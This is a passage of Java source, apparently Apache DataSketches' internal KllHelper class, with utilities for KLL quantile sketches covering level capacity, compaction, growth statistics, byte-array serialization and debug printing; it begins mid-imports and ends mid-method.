import static org.apache.datasketches.kll.KllPreambleUtil.SERIAL_VERSION_EMPTY_FULL;
import static org.apache.datasketches.kll.KllPreambleUtil.SERIAL_VERSION_SINGLE;
import static org.apache.datasketches.kll.KllPreambleUtil.SERIAL_VERSION_UPDATABLE;
import static org.apache.datasketches.kll.KllPreambleUtil.SINGLE_ITEM_BIT_MASK;
import static org.apache.datasketches.kll.KllPreambleUtil.UPDATABLE_BIT_MASK;
import static org.apache.datasketches.kll.KllPreambleUtil.setMemoryDoubleSketchFlag;
import static org.apache.datasketches.kll.KllPreambleUtil.setMemoryEmptyFlag;
import static org.apache.datasketches.kll.KllPreambleUtil.setMemoryFamilyID;
import static org.apache.datasketches.kll.KllPreambleUtil.setMemoryK;
import static org.apache.datasketches.kll.KllPreambleUtil.setMemoryLevelZeroSortedFlag;
import static org.apache.datasketches.kll.KllPreambleUtil.setMemoryM;
import static org.apache.datasketches.kll.KllPreambleUtil.setMemoryMinK;
import static org.apache.datasketches.kll.KllPreambleUtil.setMemoryN;
import static org.apache.datasketches.kll.KllPreambleUtil.setMemoryNumLevels;
import static org.apache.datasketches.kll.KllPreambleUtil.setMemoryPreInts;
import static org.apache.datasketches.kll.KllPreambleUtil.setMemorySerVer;
import static org.apache.datasketches.kll.KllPreambleUtil.setMemorySingleItemFlag;
import static org.apache.datasketches.kll.KllPreambleUtil.setMemoryUpdatableFlag;
import static org.apache.datasketches.kll.KllSketch.SketchType.DOUBLES_SKETCH;
import java.util.Arrays;
import org.apache.datasketches.ByteArrayUtil;
import org.apache.datasketches.Family;
import org.apache.datasketches.SketchesArgumentException;
import org.apache.datasketches.Util;
import org.apache.datasketches.kll.KllSketch.SketchType;
import org.apache.datasketches.memory.WritableMemory;
/**
* This class provides some useful sketch analysis tools that are used internally.
*
* @author lrhodes
*
*/
final class KllHelper {
static class GrowthStats {
SketchType sketchType;
int k;
int m;
long givenN;
long maxN;
int numLevels;
int maxItems;
int compactBytes;
int updatableBytes;
}
static class LevelStats {
long n;
int numLevels;
int items;
LevelStats(final long n, final int numLevels, final int items) {
this.n = n;
this.numLevels = numLevels;
this.items = items;
}
}
static final double EPS_DELTA_THRESHOLD = 1E-6;
static final double MIN_EPS = 4.7634E-5;
static final double PMF_COEF = 2.446;
static final double PMF_EXP = 0.9433;
static final double CDF_COEF = 2.296;
static final double CDF_EXP = 0.9723;
/**
* This is the exact powers of 3 from 3^0 to 3^30 where the exponent is the index
*/
private static long[] powersOfThree =
new long[] {1, 3, 9, 27, 81, 243, 729, 2187, 6561, 19683, 59049, 177147, 531441,
1594323, 4782969, 14348907, 43046721, 129140163, 387420489, 1162261467,
3486784401L, 10460353203L, 31381059609L, 94143178827L, 282429536481L,
847288609443L, 2541865828329L, 7625597484987L, 22876792454961L, 68630377364883L,
205891132094649L};
/**
* Checks the validity of the given value k
* @param k must be greater than 7 and less than 65536.
*/
static void checkK(final int k, final int m) {
if (k < m || k > KllSketch.MAX_K) {
throw new SketchesArgumentException(
"K must be >= " + m + " and <= " + KllSketch.MAX_K + ": " + k);
}
}
static void checkM(final int m) {
if (m < KllSketch.MIN_M || m > KllSketch.MAX_M || ((m & 1) == 1)) {
throw new SketchesArgumentException(
"M must be >= 2, <= 8 and even: " + m);
}
}
/**
* The following code is only valid in the special case of exactly reaching capacity while updating.
* It cannot be used while merging, while reducing k, or anything else.
* @param mine the current sketch
*/
static void compressWhileUpdatingSketch(final KllSketch mine) {
final int level =
findLevelToCompact(mine.getK(), mine.getM(), mine.getNumLevels(), mine.getLevelsArray());
if (level == mine.getNumLevels() - 1) {
//The level to compact is the top level, thus we need to add a level.
//Be aware that this operation grows the items array,
//shifts the items data and the level boundaries of the data,
//and grows the levels array and increments numLevels_.
KllHelper.addEmptyTopLevelToCompletelyFullSketch(mine);
}
//after this point, the levelsArray will not be expanded, only modified.
final int[] myLevelsArr = mine.getLevelsArray();
final int rawBeg = myLevelsArr[level];
final int rawEnd = myLevelsArr[level + 1];
// +2 is OK because we already added a new top level if necessary
final int popAbove = myLevelsArr[level + 2] - rawEnd;
final int rawPop = rawEnd - rawBeg;
final boolean oddPop = isOdd(rawPop);
final int adjBeg = oddPop ? rawBeg + 1 : rawBeg;
final int adjPop = oddPop ? rawPop - 1 : rawPop;
final int halfAdjPop = adjPop / 2;
if (mine.sketchType == DOUBLES_SKETCH) {
final double[] myDoubleItemsArr = mine.getDoubleItemsArray();
if (level == 0) { // level zero might not be sorted, so we must sort it if we wish to compact it
Arrays.sort(myDoubleItemsArr, adjBeg, adjBeg + adjPop);
}
if (popAbove == 0) {
KllDoublesHelper.randomlyHalveUpDoubles(myDoubleItemsArr, adjBeg, adjPop, KllSketch.random);
} else {
KllDoublesHelper.randomlyHalveDownDoubles(myDoubleItemsArr, adjBeg, adjPop, KllSketch.random);
KllDoublesHelper.mergeSortedDoubleArrays(
myDoubleItemsArr, adjBeg, halfAdjPop,
myDoubleItemsArr, rawEnd, popAbove,
myDoubleItemsArr, adjBeg + halfAdjPop);
}
int newIndex = myLevelsArr[level + 1] - halfAdjPop; // adjust boundaries of the level above
mine.setLevelsArrayAt(level + 1, newIndex);
if (oddPop) {
mine.setLevelsArrayAt(level, myLevelsArr[level + 1] - 1); // the current level now contains one item
myDoubleItemsArr[myLevelsArr[level]] = myDoubleItemsArr[rawBeg]; // namely this leftover guy
} else {
mine.setLevelsArrayAt(level, myLevelsArr[level + 1]); // the current level is now empty
}
// verify that we freed up halfAdjPop array slots just below the current level
assert myLevelsArr[level] == rawBeg + halfAdjPop;
// finally, we need to shift up the data in the levels below
// so that the freed-up space can be used by level zero
if (level > 0) {
final int amount = rawBeg - myLevelsArr[0];
System.arraycopy(myDoubleItemsArr, myLevelsArr[0], myDoubleItemsArr, myLevelsArr[0] + halfAdjPop, amount);
}
for (int lvl = 0; lvl < level; lvl++) {
newIndex = myLevelsArr[lvl] + halfAdjPop; //adjust boundary
mine.setLevelsArrayAt(lvl, newIndex);
}
mine.setDoubleItemsArray(myDoubleItemsArr);
}
else { //Float sketch
final float[] myFloatItemsArr = mine.getFloatItemsArray();
if (level == 0) { // level zero might not be sorted, so we must sort it if we wish to compact it
Arrays.sort(myFloatItemsArr, adjBeg, adjBeg + adjPop);
}
if (popAbove == 0) {
KllFloatsHelper.randomlyHalveUpFloats(myFloatItemsArr, adjBeg, adjPop, KllSketch.random);
} else {
KllFloatsHelper.randomlyHalveDownFloats(myFloatItemsArr, adjBeg, adjPop, KllSketch.random);
KllFloatsHelper.mergeSortedFloatArrays(
myFloatItemsArr, adjBeg, halfAdjPop,
myFloatItemsArr, rawEnd, popAbove,
myFloatItemsArr, adjBeg + halfAdjPop);
}
int newIndex = myLevelsArr[level + 1] - halfAdjPop; // adjust boundaries of the level above
mine.setLevelsArrayAt(level + 1, newIndex);
if (oddPop) {
mine.setLevelsArrayAt(level, myLevelsArr[level + 1] - 1); // the current level now contains one item
myFloatItemsArr[myLevelsArr[level]] = myFloatItemsArr[rawBeg]; // namely this leftover guy
} else {
mine.setLevelsArrayAt(level, myLevelsArr[level + 1]); // the current level is now empty
}
// verify that we freed up halfAdjPop array slots just below the current level
assert myLevelsArr[level] == rawBeg + halfAdjPop;
// finally, we need to shift up the data in the levels below
// so that the freed-up space can be used by level zero
if (level > 0) {
final int amount = rawBeg - myLevelsArr[0];
System.arraycopy(myFloatItemsArr, myLevelsArr[0], myFloatItemsArr, myLevelsArr[0] + halfAdjPop, amount);
}
for (int lvl = 0; lvl < level; lvl++) {
newIndex = myLevelsArr[lvl] + halfAdjPop; //adjust boundary
mine.setLevelsArrayAt(lvl, newIndex);
}
mine.setFloatItemsArray(myFloatItemsArr);
}
}
/**
* Returns the maximum number of items that this sketch can handle
* @param k The sizing / accuracy parameter of the sketch in items.
* Note: this method actually works for k values up to k = 2^29 and 61 levels,
* however only k values up to (2^16 - 1) are currently used by the sketch.
* @param m the size of the smallest level in items. Default is 8.
* @param numLevels the upper bound number of levels based on <i>n</i> items.
* @return the total item capacity of the sketch.
*/
static int computeTotalItemCapacity(final int k, final int m, final int numLevels) {
long total = 0;
for (int level = 0; level < numLevels; level++) {
total += levelCapacity(k, numLevels, level, m);
}
return (int) total;
}
static int currentLevelSize(final int level, final int numLevels, final int[] levels) {
if (level >= numLevels) { return 0; }
return levels[level + 1] - levels[level];
}
/**
* Given k, m, and numLevels, this computes and optionally prints the structure of the sketch when the given
* number of levels are completely filled.
* @param k the given user configured sketch parameter
* @param m the given user configured sketch parameter
* @param numLevels the given number of levels of the sketch
* @param printSketchStructure if true will print the details of the sketch structure at the given numLevels.
* @return LevelStats with the final summary of the sketch's cumulative N,
* and cumulative items at the given numLevels.
*/
static LevelStats getFinalSketchStatsAtNumLevels(
final int k,
final int m,
final int numLevels,
final boolean printSketchStructure) {
int cumItems = 0;
long cumN = 0;
if (printSketchStructure) {
println("SKETCH STRUCTURE:");
println("Given K : " + k);
println("Given M : " + m);
println("Given NumLevels: " + numLevels);
printf("%6s %8s %12s %18s %18s\n", "Level", "Items", "CumItems", "N at Level", "CumN");
}
for (int level = 0; level < numLevels; level++) {
final LevelStats lvlStats = getLevelCapacityItems(k, m, numLevels, level);
cumItems += lvlStats.items;
cumN += lvlStats.n;
if (printSketchStructure) {
printf("%6d %,8d %,12d %,18d %,18d\n", level, lvlStats.items, cumItems, lvlStats.n, cumN);
}
}
return new LevelStats(cumN, numLevels, cumItems);
}
/**
* Given k, m, n, and the sketch type, this computes (and optionally prints) the growth scheme for a sketch as it
* grows large enough to accommodate a stream length of n items.
* @param k the given user configured sketch parameter
* @param m the given user configured sketch parameter
* @param n the desired stream length
* @param sketchType the given sketch type (DOUBLES_SKETCH or FLOATS_SKETCH)
* @param printGrowthScheme if true the entire growth scheme of the sketch will be printed.
* @return GrowthStats with the final values of the growth scheme
*/
static GrowthStats getGrowthSchemeForGivenN(
final int k,
final int m,
final long n,
final SketchType sketchType,
final boolean printGrowthScheme) {
LevelStats lvlStats;
final GrowthStats gStats = new GrowthStats();
gStats.numLevels = 0;
gStats.k = k;
gStats.m = m;
gStats.givenN = n;
gStats.sketchType = sketchType;
if (printGrowthScheme) {
println("GROWTH SCHEME:");
println("Given SketchType: " + gStats.sketchType.toString());
println("Given K : " + gStats.k);
println("Given M : " + gStats.m);
println("Given N : " + gStats.givenN);
printf("%10s %10s %20s %13s %15s\n", "NumLevels", "MaxItems", "MaxN", "CompactBytes", "UpdatableBytes");
}
final int typeBytes = (sketchType == DOUBLES_SKETCH) ? Double.BYTES : Float.BYTES;
do {
gStats.numLevels++; //
lvlStats = getFinalSketchStatsAtNumLevels(gStats.k, gStats.m, gStats.numLevels, false);
gStats.maxItems = lvlStats.items; //
gStats.maxN = lvlStats.n; //
gStats.compactBytes =
gStats.maxItems * typeBytes + gStats.numLevels * Integer.BYTES + 2 * typeBytes + DATA_START_ADR;
gStats.updatableBytes = gStats.compactBytes + Integer.BYTES;
if (printGrowthScheme) {
printf("%10d %,10d %,20d %,13d %,15d\n",
gStats.numLevels, gStats.maxItems, gStats.maxN, gStats.compactBytes, gStats.updatableBytes);
}
} while (lvlStats.n < n);
//gStats.numLevels = lvlStats.numLevels; //
//gStats.maxItems = lvlStats.items; //
return gStats;
}
// constants were derived as the best fit to 99 percentile empirically measured max error in
// thousands of trials
static int getKFromEpsilon(final double epsilon, final boolean pmf) {
//Ensure that eps is >= than the lowest possible eps given MAX_K and pmf=false.
final double eps = max(epsilon, MIN_EPS);
final double kdbl = pmf
? exp(log(PMF_COEF / eps) / PMF_EXP)
: exp(log(CDF_COEF / eps) / CDF_EXP);
final double krnd = round(kdbl);
final double del = abs(krnd - kdbl);
final int k = (int) (del < EPS_DELTA_THRESHOLD ? krnd : ceil(kdbl));
return max(KllSketch.MIN_M, min(KllSketch.MAX_K, k));
}
/**
* Given k, m, numLevels, this computes the item capacity of a single level.
* @param k the given user sketch configuration parameter
* @param m the given user sketch configuration parameter
* @param numLevels the given number of levels of the sketch
* @param level the specific level to compute its item capacity
* @return LevelStats with the computed N and items for the given level.
*/
static LevelStats getLevelCapacityItems(
final int k,
final int m,
final int numLevels,
final int level) {
final int items = KllHelper.levelCapacity(k, numLevels, level, m);
final long n = (long)items << level;
return new LevelStats(n, numLevels, items);
}
/**
* Gets the normalized rank error given k and pmf.
* Static method version of the <i>getNormalizedRankError(boolean)</i>.
* @param k the configuration parameter
* @param pmf if true, returns the "double-sided" normalized rank error for the getPMF() function.
* Otherwise, it is the "single-sided" normalized rank error for all the other queries.
* @return if pmf is true, the normalized rank error for the getPMF() function.
* Otherwise, it is the "single-sided" normalized rank error for all the other queries.
* @see KllHeapDoublesSketch
*/
// constants were derived as the best fit to 99 percentile empirically measured max error in
// thousands of trials
static double getNormalizedRankError(final int k, final boolean pmf) {
return pmf
? PMF_COEF / pow(k, PMF_EXP)
: CDF_COEF / pow(k, CDF_EXP);
}
static int getNumRetainedAboveLevelZero(final int numLevels, final int[] levels) {
return levels[numLevels] - levels[1];
}
/**
* Returns the item capacity of a specific level.
* @param k the accuracy parameter of the sketch. Because of the Java limits on array sizes,
* the theoretical maximum value of k is 2^29. However, this implementation of the KLL sketch
* limits k to 2^16 -1.
* @param numLevels the number of current levels in the sketch. Maximum is 61.
* @param level the zero-based index of a level. This varies from 0 to 60.
* @param m the minimum level width. Default is 8.
* @return the capacity of a specific level
*/
static int levelCapacity(final int k, final int numLevels, final int level, final int m) {
assert (k <= (1 << 29));
assert (numLevels >= 1) && (numLevels <= 61);
assert (level >= 0) && (level < numLevels);
final int depth = numLevels - level - 1;
return (int) Math.max(m, intCapAux(k, depth));
}
/**
* This method is for direct Double and Float sketches only and does the following:
* <ul>
* <li>Determines if the required sketch bytes will fit in the current Memory.
* If so, it will stretch the positioning of the arrays to fit. Otherwise:
* <li>Allocates a new WritableMemory of the required size</li>
* <li>Copies over the preamble as is (20 bytes)</li>
* <li>The caller is responsible for filling the remainder and updating the preamble.</li>
* </ul>
*
* @param sketch The current sketch that needs to be expanded.
* @param newLevelsArrLen the element length of the new Levels array.
* @param newItemsArrLen the element length of the new Items array.
* @return the new expanded memory with preamble.
*/
static WritableMemory memorySpaceMgmt(
final KllSketch sketch,
final int newLevelsArrLen,
final int newItemsArrLen) {
final KllSketch.SketchType sketchType = sketch.sketchType;
final WritableMemory oldWmem = sketch.wmem;
final int typeBytes = (sketchType == DOUBLES_SKETCH) ? Double.BYTES : Float.BYTES;
final int requiredSketchBytes = DATA_START_ADR
+ newLevelsArrLen * Integer.BYTES
+ 2 * typeBytes
+ newItemsArrLen * typeBytes;
final WritableMemory newWmem;
if (requiredSketchBytes > oldWmem.getCapacity()) { //Acquire new WritableMemory
newWmem = sketch.memReqSvr.request(oldWmem, requiredSketchBytes);
oldWmem.copyTo(0, newWmem, 0, DATA_START_ADR); //copy preamble (first 20 bytes)
}
else { //Expand or contract in current memory
newWmem = oldWmem;
}
assert requiredSketchBytes <= newWmem.getCapacity();
return newWmem;
}
static String outputData(final boolean doubleType, final int numLevels, final int[] levelsArr,
final float[] floatItemsArr, final double[] doubleItemsArr) {
final StringBuilder sb = new StringBuilder();
sb.append("### KLL items data {index, item}:").append(Util.LS);
if (levelsArr[0] > 0) {
sb.append(" Garbage:" + Util.LS);
if (doubleType) {
for (int i = 0; i < levelsArr[0]; i++) {
sb.append(" ").append(i + ", ").append(doubleItemsArr[i]).append(Util.LS);
}
} else {
for (int i = 0; i < levelsArr[0]; i++) {
sb.append(" ").append(i + ", ").append(floatItemsArr[i]).append(Util.LS);
}
}
}
int level = 0;
if (doubleType) {
while (level < numLevels) {
final int fromIndex = levelsArr[level];
final int toIndex = levelsArr[level + 1]; // exclusive
if (fromIndex < toIndex) {
sb.append(" level[").append(level).append("]: offset: " + levelsArr[level] + " wt: " + (1 << level));
sb.append(Util.LS);
}
for (int i = fromIndex; i < toIndex; i++) {
sb.append(" ").append(i + ", ").append(doubleItemsArr[i]).append(Util.LS);
}
level++;
}
}
else {
while (level < numLevels) {
final int fromIndex = levelsArr[level];
final int toIndex = levelsArr[level + 1]; // exclusive
if (fromIndex <= toIndex) {
sb.append(" level[").append(level).append("]: offset: " + levelsArr[level] + " wt: " + (1 << level));
sb.append(Util.LS);
}
for (int i = fromIndex; i < toIndex; i++) {
sb.append(" ").append(i + ", ").append(floatItemsArr[i]).append(Util.LS);
}
level++;
}
}
sb.append(" level[" + level + "]: offset: " + levelsArr[level] + " (Exclusive)");
sb.append(Util.LS);
sb.append("### End items data").append(Util.LS);
return sb.toString();
}
static String outputLevels(final int k, final int m, final int numLevels, final int[] levelsArr) {
final StringBuilder sb = new StringBuilder();
sb.append("### KLL levels array:").append(Util.LS)
.append(" level, offset: nominal capacity, actual size").append(Util.LS);
int level = 0;
for ( ; level < numLevels; level++) {
sb.append(" ").append(level).append(", ").append(levelsArr[level]).append(": ")
.append(KllHelper.levelCapacity(k, numLevels, level, m))
.append(", ").append(KllHelper.currentLevelSize(level, numLevels, levelsArr)).append(Util.LS);
}
sb.append(" ").append(level).append(", ").append(levelsArr[level]).append(": (Exclusive)")
.append(Util.LS);
sb.append("### End levels array").append(Util.LS);
return sb.toString();
}
static long sumTheSampleWeights(final int num_levels, final int[] levels) {
long total = 0;
long weight = 1;
for (int i = 0; i < num_levels; i++) {
total += weight * (levels[i + 1] - levels[i]);
weight *= 2;
}
return total;
}
static byte[] toCompactByteArrayImpl(final KllSketch mine) {
if (mine.isEmpty()) { return fastEmptyCompactByteArray(mine); }
if (mine.isSingleItem()) { return fastSingleItemCompactByteArray(mine); }
final byte[] byteArr = new byte[mine.getCurrentCompactSerializedSizeBytes()];
final WritableMemory wmem = WritableMemory.writableWrap(byteArr);
loadFirst8Bytes(mine, wmem, false);
if (mine.getN() == 0) { return byteArr; } //empty
final boolean doubleType = (mine.sketchType == DOUBLES_SKETCH);
//load data
int offset = DATA_START_ADR_SINGLE_ITEM;
final int[] myLevelsArr = mine.getLevelsArray();
if (mine.getN() == 1) { //single item
if (doubleType) {
wmem.putDouble(offset, mine.getDoubleItemsArray()[myLevelsArr[0]]);
} else {
wmem.putFloat(offset, mine.getFloatItemsArray()[myLevelsArr[0]]);
}
} else { // n > 1
//remainder of preamble after first 8 bytes
setMemoryN(wmem, mine.getN());
setMemoryMinK(wmem, mine.getMinK());
setMemoryNumLevels(wmem, mine.getNumLevels());
offset = DATA_START_ADR;
//LOAD LEVELS ARR the last integer in levels_ is NOT serialized
final int len = myLevelsArr.length - 1;
wmem.putIntArray(offset, myLevelsArr, 0, len);
offset += len * Integer.BYTES;
//LOAD MIN, MAX VALUES FOLLOWED BY ITEMS ARRAY
if (doubleType) {
wmem.putDouble(offset,mine. getMinDoubleValue());
offset += Double.BYTES;
wmem.putDouble(offset, mine.getMaxDoubleValue());
offset += Double.BYTES;
wmem.putDoubleArray(offset, mine.getDoubleItemsArray(), myLevelsArr[0], mine.getNumRetained());
} else {
wmem.putFloat(offset, mine.getMinFloatValue());
offset += Float.BYTES;
wmem.putFloat(offset, mine.getMaxFloatValue());
offset += Float.BYTES;
wmem.putFloatArray(offset, mine.getFloatItemsArray(), myLevelsArr[0], mine.getNumRetained());
}
}
return byteArr;
}
static byte[] fastEmptyCompactByteArray(final KllSketch mine) {
final int doubleFlagBit = (mine.sketchType == DOUBLES_SKETCH) ? DOUBLES_SKETCH_BIT_MASK : 0;
final byte[] byteArr = new byte[8];
byteArr[0] = PREAMBLE_INTS_EMPTY_SINGLE; //2
byteArr[1] = SERIAL_VERSION_EMPTY_FULL; //1
byteArr[2] = KLL_FAMILY; //15
byteArr[3] = (byte) (EMPTY_BIT_MASK | doubleFlagBit);
ByteArrayUtil.putShortLE(byteArr, K_SHORT_ADR, (short)mine.getK());
byteArr[6] = (byte)mine.getM();
return byteArr;
}
static byte[] fastSingleItemCompactByteArray(final KllSketch mine) {
final boolean doubleSketch = mine.sketchType == DOUBLES_SKETCH;
final int doubleFlagBit = doubleSketch ? DOUBLES_SKETCH_BIT_MASK : 0;
final byte[] byteArr = new byte[8 + (doubleSketch ? Double.BYTES : Float.BYTES)];
byteArr[0] = PREAMBLE_INTS_EMPTY_SINGLE; //2
byteArr[1] = SERIAL_VERSION_SINGLE; //2
byteArr[2] = KLL_FAMILY; //15
byteArr[3] = (byte) (SINGLE_ITEM_BIT_MASK | doubleFlagBit);
ByteArrayUtil.putShortLE(byteArr, K_SHORT_ADR, (short)mine.getK());
byteArr[6] = (byte)mine.getM();
if (doubleSketch) {
ByteArrayUtil.putDoubleLE(byteArr, DATA_START_ADR_SINGLE_ITEM, mine.getDoubleSingleItem());
} else {
ByteArrayUtil.putFloatLE(byteArr, DATA_START_ADR_SINGLE_ITEM, mine.getFloatSingleItem());
}
return byteArr;
}
static String toStringImpl(final KllSketch mine, final boolean withLevels, final boolean withData) {
final boolean doubleType = (mine.sketchType == DOUBLES_SKETCH);
final int k = mine.getK();
final int m = mine.getM();
final int numLevels = mine.getNumLevels();
final int[] levelsArr = mine.getLevelsArray();
final String epsPct = String.format("%.3f%%", mine.getNormalizedRankError(false) * 100);
final String epsPMFPct = String.format("%.3f%%", mine.getNormalizedRankError(true) * 100);
final StringBuilder sb = new StringBuilder();
final String skType = (mine.updatableMemFormat ? "Direct" : "") + (doubleType ? "Doubles" : "Floats");
sb.append(Util.LS).append("### Kll").append(skType).append("Sketch Summary:").append(Util.LS);
sb.append(" K : ").append(k).append(Util.LS);
sb.append(" Dynamic min K : ").append(mine.getMinK()).append(Util.LS);
sb.append(" M : ").append(m).append(Util.LS);
sb.append(" N : ").append(mine.getN()).append(Util.LS);
sb.append(" Epsilon : ").append(epsPct).append(Util.LS);
sb.append(" Epsison PMF : ").append(epsPMFPct).append(Util.LS);
sb.append(" Empty : ").append(mine.isEmpty()).append(Util.LS);
sb.append(" Estimation Mode : ").append(mine.isEstimationMode()).append(Util.LS);
sb.append(" Levels : ").append(numLevels).append(Util.LS);
sb.append(" Level 0 Sorted : ").append(mine.isLevelZeroSorted()).append(Util.LS);
sb.append(" Capacity Items : ").append(levelsArr[numLevels]).append(Util.LS);
sb.append(" Retained Items : ").append(mine.getNumRetained()).append(Util.LS);
if (mine.updatableMemFormat) {
sb.append(" Updatable Storage Bytes: ").append(mine.getCurrentUpdatableSerializedSizeBytes()).append(Util.LS);
} else {
sb.append(" Compact Storage Bytes : ").append(mine.getCurrentCompactSerializedSizeBytes()).append(Util.LS);
}
if (doubleType) {
sb.append(" Min Value : ").append(mine.getMinDoubleValue()).append(Util.LS);
sb.append(" Max Value : ").append(mine.getMaxDoubleValue()).append(Util.LS);
} else {
sb.append(" Min Value : ").append(mine.getMinFloatValue()).append(Util.LS);
sb.append(" Max Value : ").append(mine.getMaxFloatValue()).append(Util.LS);
}
sb.append("### End sketch summary").append(Util.LS);
double[] myDoubleItemsArr = null;
float[] myFloatItemsArr = null;
if (doubleType) {
myDoubleItemsArr = mine.getDoubleItemsArray();
} else {
myFloatItemsArr = mine.getFloatItemsArray();
}
if (withLevels) {
sb.append(outputLevels(k, m, numLevels, levelsArr));
}
if (withData) {
sb.append(outputData(doubleType, numLevels, levelsArr, myFloatItemsArr, myDoubleItemsArr));
}
return sb.toString();
}
/**
* This method exists for testing purposes only. The resulting byteArray
* structure is an internal format and not supported for general transport
* or compatibility between systems and may be subject to change in the future.
* @param mine the current sketch to be serialized.
* @return a byte array in an updatable form.
*/
private static byte[] toUpdatableByteArrayFromUpdatableMemory(final KllSketch mine) {
final boolean doubleType = (mine.sketchType == SketchType.DOUBLES_SKETCH);
final int curBytes = mine.getCurrentUpdatableSerializedSizeBytes();
final long n = mine.getN();
final byte flags = (byte) (UPDATABLE_BIT_MASK
| ((n == 0) ? EMPTY_BIT_MASK : 0)
| ((n == 1) ? SINGLE_ITEM_BIT_MASK : 0)
| (doubleType ? DOUBLES_SKETCH_BIT_MASK : 0));
final byte[] byteArr = new byte[curBytes];
mine.wmem.getByteArray(0, byteArr, 0, curBytes);
byteArr[FLAGS_BYTE_ADR] = flags;
return byteArr;
}
/**
* This method exists for testing purposes only. The resulting byteArray
* structure is an internal format and not supported for general transport
* or compatibility between systems and may be subject to change in the future.
* @param mine the current sketch to be serialized.
* @return a byte array in an updatable form.
*/
static byte[] toUpdatableByteArrayImpl(final KllSketch mine) {
if (mine.hasMemory() && mine.updatableMemFormat) {
return toUpdatableByteArrayFromUpdatableMemory(mine);
}
final byte[] byteArr = new byte[mine.getCurrentUpdatableSerializedSizeBytes()];
final WritableMemory wmem = WritableMemory.writableWrap(byteArr);
loadFirst8Bytes(mine, wmem, true);
//remainder of preamble after first 8 bytes
setMemoryN(wmem, mine.getN());
setMemoryMinK(wmem, mine.getMinK());
setMemoryNumLevels(wmem, mine.getNumLevels());
//load data
final boolean doubleType = (mine.sketchType == DOUBLES_SKETCH);
int offset = DATA_START_ADR;
//LOAD LEVELS ARRAY the last integer in levels_ IS serialized
final int[] myLevelsArr = mine.getLevelsArray();
final int len = myLevelsArr.length;
wmem.putIntArray(offset, myLevelsArr, 0, len);
offset += len * Integer.BYTES;
//LOAD MIN, MAX VALUES FOLLOWED BY ITEMS ARRAY
if (doubleType) {
wmem.putDouble(offset, mine.getMinDoubleValue());
offset += Double.BYTES;
wmem.putDouble(offset, mine.getMaxDoubleValue());
offset += Double.BYTES;
final double[] doubleItemsArr = mine.getDoubleItemsArray();
wmem.putDoubleArray(offset, doubleItemsArr, 0, doubleItemsArr.length);
} else {
wmem.putFloat(offset, mine.getMinFloatValue());
offset += Float.BYTES;
wmem.putFloat(offset,mine.getMaxFloatValue());
offset += Float.BYTES;
final float[] floatItemsArr = mine.getFloatItemsArray();
wmem.putFloatArray(offset, floatItemsArr, 0, floatItemsArr.length);
}
return byteArr;
}
/**
* Returns very conservative upper bound of the number of levels based on <i>n</i>.
* @param n the length of the stream
* @return floor( log_2(n) )
*/
static int ubOnNumLevels(final long n) {
return 1 + Long.numberOfTrailingZeros(floorPowerOf2(n));
}
/**
* This grows the levels arr by 1 (if needed) and increases the capacity of the items array
* at the bottom. Only numLevels, the levels array and the items array are affected.
* @param mine the current sketch
*/
private static void addEmptyTopLevelToCompletelyFullSketch(final KllSketch mine) {
final int[] myCurLevelsArr = mine.getLevelsArray();
final int myCurNumLevels = mine.getNumLevels();
final int myCurTotalItemsCapacity = myCurLevelsArr[myCurNumLevels];
double minDouble = Double.NaN;
double maxDouble = Double.NaN;
float minFloat = Float.NaN;
float maxFloat = Float.NaN;
double[] myCurDoubleItemsArr = null;
float[] myCurFloatItemsArr = null;
final int myNewNumLevels;
final int[] myNewLevelsArr;
final int myNewTotalItemsCapacity;
float[] myNewFloatItemsArr = null;
double[] myNewDoubleItemsArr = null;
if (mine.sketchType == DOUBLES_SKETCH) {
minDouble = mine.getMinDoubleValue();
maxDouble = mine.getMaxDoubleValue();
myCurDoubleItemsArr = mine.getDoubleItemsArray();
//assert we are following a certain growth scheme
assert myCurDoubleItemsArr.length == myCurTotalItemsCapacity;
} else { //FLOATS_SKETCH
minFloat = mine.getMinFloatValue();
maxFloat = mine.getMaxFloatValue();
myCurFloatItemsArr = mine.getFloatItemsArray();
assert myCurFloatItemsArr.length == myCurTotalItemsCapacity;
}
assert myCurLevelsArr[0] == 0; //definition of full is part of the growth scheme
final int deltaItemsCap = levelCapacity(mine.getK(), myCurNumLevels + 1, 0, mine.getM());
myNewTotalItemsCapacity = myCurTotalItemsCapacity + deltaItemsCap;
// Check if growing the levels arr if required.
// Note that merging MIGHT over-grow levels_, in which case we might not have to grow it
final boolean growLevelsArr = myCurLevelsArr.length < myCurNumLevels + 2;
// GROW LEVELS ARRAY
if (growLevelsArr) {
//grow levels arr by one and copy the old data to the new array, extra space at the top.
myNewLevelsArr = Arrays.copyOf(myCurLevelsArr, myCurNumLevels + 2);
assert myNewLevelsArr.length == myCurLevelsArr.length + 1;
myNewNumLevels = myCurNumLevels + 1;
mine.incNumLevels(); //increment the class member
} else {
myNewLevelsArr = myCurLevelsArr;
myNewNumLevels = myCurNumLevels;
}
// This loop updates all level indices EXCLUDING the "extra" index at the top
for (int level = 0; level <= myNewNumLevels - 1; level++) {
myNewLevelsArr[level] += deltaItemsCap;
}
myNewLevelsArr[myNewNumLevels] = myNewTotalItemsCapacity; // initialize the new "extra" index at the top
// GROW ITEMS ARRAY
if (mine.sketchType == DOUBLES_SKETCH) {
myNewDoubleItemsArr = new double[myNewTotalItemsCapacity];
// copy and shift the current data into the new array
System.arraycopy(myCurDoubleItemsArr, 0, myNewDoubleItemsArr, deltaItemsCap, myCurTotalItemsCapacity);
} else {
myNewFloatItemsArr = new float[myNewTotalItemsCapacity];
// copy and shift the current items data into the new array
System.arraycopy(myCurFloatItemsArr, 0, myNewFloatItemsArr, deltaItemsCap, myCurTotalItemsCapacity);
}
//MEMORY SPACE MANAGEMENT
if (mine.updatableMemFormat) {
mine.wmem = memorySpaceMgmt(mine, myNewLevelsArr.length, myNewTotalItemsCapacity);
}
//update our sketch with new expanded spaces
mine.setNumLevels(myNewNumLevels);
mine.setLevelsArray(myNewLevelsArr);
if (mine.sketchType == DOUBLES_SKETCH) {
mine.setMinDoubleValue(minDouble);
mine.setMaxDoubleValue(maxDouble);
mine.setDoubleItemsArray(myNewDoubleItemsArr);
} else { //Float sketch
mine.setMinFloatValue(minFloat);
mine.setMaxFloatValue(maxFloat);
mine.setFloatItemsArray(myNewFloatItemsArr);
}
}
/**
* Finds the first level starting with level 0 that exceeds its nominal capacity
* @param k configured size of sketch. Range [m, 2^16]
* @param m minimum level size. Default is 8.
* @param numLevels one-based number of current levels
* @return level to compact
*/
private static int findLevelToCompact(final int k, final int m, final int numLevels, final int[] levels) {
int level = 0;
while (true) {
assert level < numLevels;
final int pop = levels[level + 1] - levels[level];
